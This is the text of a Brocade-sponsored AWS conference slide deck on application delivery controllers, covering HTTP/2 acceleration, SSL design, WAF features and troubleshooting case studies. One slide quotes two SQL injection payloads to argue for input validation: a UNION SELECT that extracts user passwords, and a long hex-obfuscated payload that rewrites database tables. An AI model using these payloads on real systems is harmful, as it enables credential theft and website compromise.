Accelerating and Securing your Applications in AWS. In-depth look at Solving Cloud based Application Performance and Security Challenges - Session Sponsored by Brocade
Through Real AWS Customer Case Studies we will explain how Brocade Virtual Application Delivery Controller (vADC) can: - Simplify complex architectures in AWS - Significantly accelerate application performance and user experience - Provide additional application security over and above AWS ELB – with and without Web Application Firewalls (WAF) - Enable hybrid cloud architectures and cloud bursting - Fix application-level compatibility problems without the need to re-write the apps.
Speaker: Ron Masson System Engineer - Software Networking, Australia/New Zealand, Brocade
AWS re:Invent 2016: [JK REPEAT] Serverless Architectural Patterns and Best Pr...
Similar to Accelerating and Securing your Applications in AWS. In-depth look at Solving Cloud based Application Performance and Security Challenges - Session Sponsored by Brocade
Similar to Accelerating and Securing your Applications in AWS. In-depth look at Solving Cloud based Application Performance and Security Challenges - Session Sponsored by Brocade (20)
Accelerating and Securing your Applications in AWS. In-depth look at Solving Cloud based Application Performance and Security Challenges - Session Sponsored by Brocade
1. Ron Masson
Systems Engineer – Software Networking
Brocade Australia
Accelerating& Securingyour
Applications in AWS
In-depth look at solvingcloud-basedapplication
performanceand security challenges
2. Agenda
• Review “ELB Sandwich” design
‒ Is it always the best design?
‒ How can it impact the following functionality?
• Acceleratingweb-based applications
• Simplifying certainSSL designs & lowering recurringcosts
• Securing web-based applications
• Traffic visibility& troubleshooting
• Solving unexpected applicationproblems withADCs
• Summary
2
3. “ELB Sandwich” Design
Is this always the best design for reverse proxy or WAF tiers in AWS?
3
/ Proxy
Source: AWS Best Practice for DDoS Resiliency (June 2015)
5. Why is HTTP1.1 slow?
HTTP 1.1
‒ Many short-lived TCP connections
• All subject to TCP slow start
• Congestion control cannot ramp up
• Many requiring SSL handshake
‒ Limited concurrent downloads
• 2-6 per domain (browser dependent)
‒ Head-of-line blocking
‒ Lengthy text-based headers
• Same or very similar headers sent with
many requests & responses
‒ It’s old (1999)
Workarounds
‒ Domain sharding
• More concurrent downloads
‒ Image spriting & resource inlining
• Less round trips
‒ Image sampling & conversion
• Less data to transfer
‒ Cookie-less domains
• Less header overhead for static content
‒ CDNs
• Reduce round trip times for static content
5
6. Web page loading with HTTP1.1
Page cannot load faster than (Total page objects / 6) * TCP RTT
6683 byte HTTP header
7. Latency is the enemy – not bandwidth
Decreasing round trip times or reducing round trips improves performance
7
Source: Mike Belshe & Ilya Grigorik, Google
8. Why is HTTP/2faster than HTTP1.x?
HTTP/2
‒ Single, longer-lived TCP
connection per domain
• TCP slow start less of an issue
• Congestion control can ramp up
‒ Multiplexing of content over
single TCP connections
• RTT latency has far less impact
‒ No head of line blocking
‒ Binary protocol framing
• More efficient
‒ HTTP header compression
• Less overhead
Things to be aware of
‒ Mozilla (Firefox) & Google
(Chrome) are only supporting
HTTP/2 over SSL/TLS
‒ HTTP/2 & HTTP 1.1 can co-exist
‒ HTTP/2 to HTTP 1.1 gateways
allow you to benefit from improved
HTTP/2 performance without
changing your web servers
‒ Many of the HTTP 1.x developer
hacks are no longer required
• e.g. domain sharding, spriting, inlining
8
9. HTTP/2 vs HTTP1.1 vs HTTPS 1.1
The same client, web server, content & AWS region were used for this test
9
vTM = Brocade Virtual Traffic Manager
ELB = AWS Elastic Load Balancer
Source: http://www.webpagetest.org
10. Page Load Time Comparisons
HTTP/2 vs HTTPS 1.1 for index.html + 96 small images
10
Delay (ms) HTTP/2 HTTPS 1.1 Faster?
0 438 ms 1,035 ms 233%
20 618 ms 1,590 ms 257%
50 750 ms 2,607 ms 348%
100 837 ms 3,484 ms 416%
200 1,199 ms 5,409 ms 451%
300 1,435 ms 7,971 ms 555%
Note: Base latency of 35ms from my home in Sydney to AWS Sydney
12. HTTP/2 readiness in Australia
12
Source: http://caniuse.com/#search=HTTP%2F2
51%
13%
12%
4%
13. Performanceimprovementswith HTTP/2
How can the ELB Sandwich design impact performance and visibility?
13
External ELB
in HTTPS mode.
SNATwith XFF
HTTP/2 Gateway
Internal ELB
External ELB
in TCP mode.
SNATwith proxy protocol
HTTP 1.x
HTTP 1.1
HTTP 1.x & HTTP/2
HTTP 1.1
HTTP 1.x & HTTP/2
HTTP 1.1
HTTP/2 HTTP/2 HTTP/2
Note: Proxy/gateway must
support proxy protocol to
interpret real client IP
Note: Proxy/gateway sees the
real client IP directly
No External ELB
Clients talk directly to the
proxy/gateway
Elastic IP
15. Architectural Simplicity or Complexity
Case study: SaaS provider needs to terminate 100+ unique SSL sites
15
External ELB
Proxy/WAF
Internal ELB
…. 1001
Simple Complex
Note: Only 1 SSL certificate per TCP/443 listener port on ELB
16. An AlternativeApproach
Simplifying the design and lowering recurring costs
16
Internal ELB
Proxy / WAF
Architectural Requirements for Proxy Tier
• Cluster across Availability Zones
• Multiple Elastic IP management & failover
• Vertical (more vCPUs) & horizontal scaling
(cluster sideways: 2 -> 4 -> 6 -> 8 ,etc.)
• All SSL certificates installed/terminated
here and synced across the cluster
• SSL SNI extension used to map certificates
to site names
• HTTP hostname and/or URI switching to
different internal ELBs or different ELB
ports
Elastic IP 1 Elastic IP 2
AZ 1 AZ 2
18. Is this security group protecting my app?
NO – because all of the bad stuff is happening over ports 80 & 443
18
Application DoS Application Attacks
SlowGET & SlowPOST SQL injection (SQLi)
SlowRead Cross Site Scripting (XSS)
Hash DoS Cross-site Request Forgery (CSRF)
Keepalive DoS Parameter & cookie tampering
SSL Squeeze Path traversal, etc.
19. Security features at theADC/WAF tier
19
• Limit concurrent connections per client
IP address
• Limit connection setup rate per client
IP address
• Limit bandwidth for different classes of
users at L7 (e.g. based on cookie)
• Geo-IP blocking and rate limiting (e.g.
Limit traffic from outside Australia to
X Mbps)
• IP reputation services
• Caching & autoscaling
ADC/Proxy SecurityFeatures
Mitigate Application DoS
• Signature protection against SQLi,
XSS, path traversal, etc.
• Only allow specific HTTP methods &
content-types in specific places
• Input validation of form fields
• Cookie jar to prevent tampering
• Filtering sensitive data (e.g credit card
scrubbing for PCI compliance)
• Block when more than X events occur
within Y time period via dynamic IP
blacklist
WAF Security Features
Protect against applicationattacks
20. SQL Injection – Still the Number 1 Attack
Signatures alone are not always enough. Input validation is more secure
• SQL injectioncan be simple:
'and 1=1 union select user,password from db.users#
20
• Or more complex: Attackers are always finding new ways to beat signatures
declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c4063
20764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454
c45437420412e6e616d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e732062
20776865524520612e69643d422e696420614e4420412e58745950653d27552720616e642028622e78545950653d39392
06f7220622e58547970653d3335206f5220422e78545950653d323331204f5220622e78747970453d31363729206f5045
4e205441624c655f637552736f72206645544348206e6558542046524f6d205461426c455f437552734f7220494e744f2
040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657845632827557044615445
205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e566552542856415243484172283430303
0292c5b272b40432b275d29292b6361535428307833433639363637323631364436353230373337323633334432323638
3734373437303341324632463645363536443646363837353639364336343639363936453245373237353246373436343
7333246363736463245373036383730334637333639363433443331323232303737363936343734363833443232333032
3232303638363536393637363837343344323233303232323037333734373936433635334432323634363937333730364
3363137393341364536463645363532323345334332463639363637323631364436353345206153207661524348617228
31303629292729204645544368204e6578742066526f6d207441426c655f635572734f7220496e744f2040742c4063204
56e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c655f435552736f7220%20a
s%20varchar(4000));exec(@s);--
21. Security Implicationsof the ELB Sandwich
ADC/WAF sees all of the traffic coming from the ELB IP address (SNAT)
21
External ELB
in HTTP mode. SNAT
with XFF
ADC/WAF
Internal ELB
External ELB
in TCP mode.
SNATwith proxy protocol
• Most WAFs support XFF
but very few support
proxy protocol
• Most ADCs don’t support
XFF or proxy protocol
with their native
Application DoS
mitigation features.
Scripting may be
required
• XFF can be forged
22. Trafficvisibility& troubleshooting
What happens when things are not working as expected?
22
URLs removed
for anonymity
https://abc.com/x/blah.html
https://xyz.com/index.html
etc, etc.
Selective connection analytics via source IP, XFF,
hostname/path, transactions > X ms, etc.
23. Selectively drill down into transactions
See how long certain functions, rules or security policies take to run
23
25. Problem #1 – Simple
SMTP breaking long URLs in outgoing EDM emails resulting in broken links
25
• SMTP cannot handle lines longer than a certainlength
• Long URLs in outgoing EDM emails were randomly ending up with
broken links – annoying the marketingdepartment
• Developers could not easilychange these URLs as they were being
automaticallygeneratedby a specific file handler
• Solution: Short rule on Brocade vTM to rewrite the broken URL
$path = http.getPath();
if( string.contains( $path, "/Public/FileHandlerashx" ) ) {
$new_path = string.replace( $path, "/Public/FileHandlerashx", "/Public/FileHandler.ashx" );
http.setPath( $new_path );
}
26. Problem #2 – More Complex
Windows XP IE clients cannot access content on AWS CloudFront
26
AWS CloudFront
CloudFront requires SNI
SSL extension in order to
work with HTTPS
Windows XP running IE browser
does not support SNI
• Certificate warnings
• Images not loading
AWS VPC
Brocade vTM
27. Problem #2 – Solution
Brocade vTM selectively proxies CloudFront to allow XP clients to work
27
Windows XP running IE browser
does not support SNI
• No certificate warnings
• Images load as expected
AWS VPC
cdn.xyz.com.au
cdn1.xyz.xom.au
on separate EIP
Brocade vTM proxies
CloudFront
• Based on the HTTPUser-Agent,
Brocade vTM selectively rewrites
CDN links from cdn.xyz.com.au to
cdn1.xyz.com.au on the fly
• Because a separate Elastic IP (EIP)
is used with a default SSL
certificate, SNI is not required
28. • Accelerate your web-based applications
‒ Why aren’t you using HTTP/2?
• Secure your web-based applications
‒ Should you be considering WAFtechnology in yournext security budget?
• Simplifycomplex designs & lower recurring costs
• Improve traffic visibility& assist with troubleshooting
• Solve unexpected applicationproblems
ADCs & WAFs can help to:
28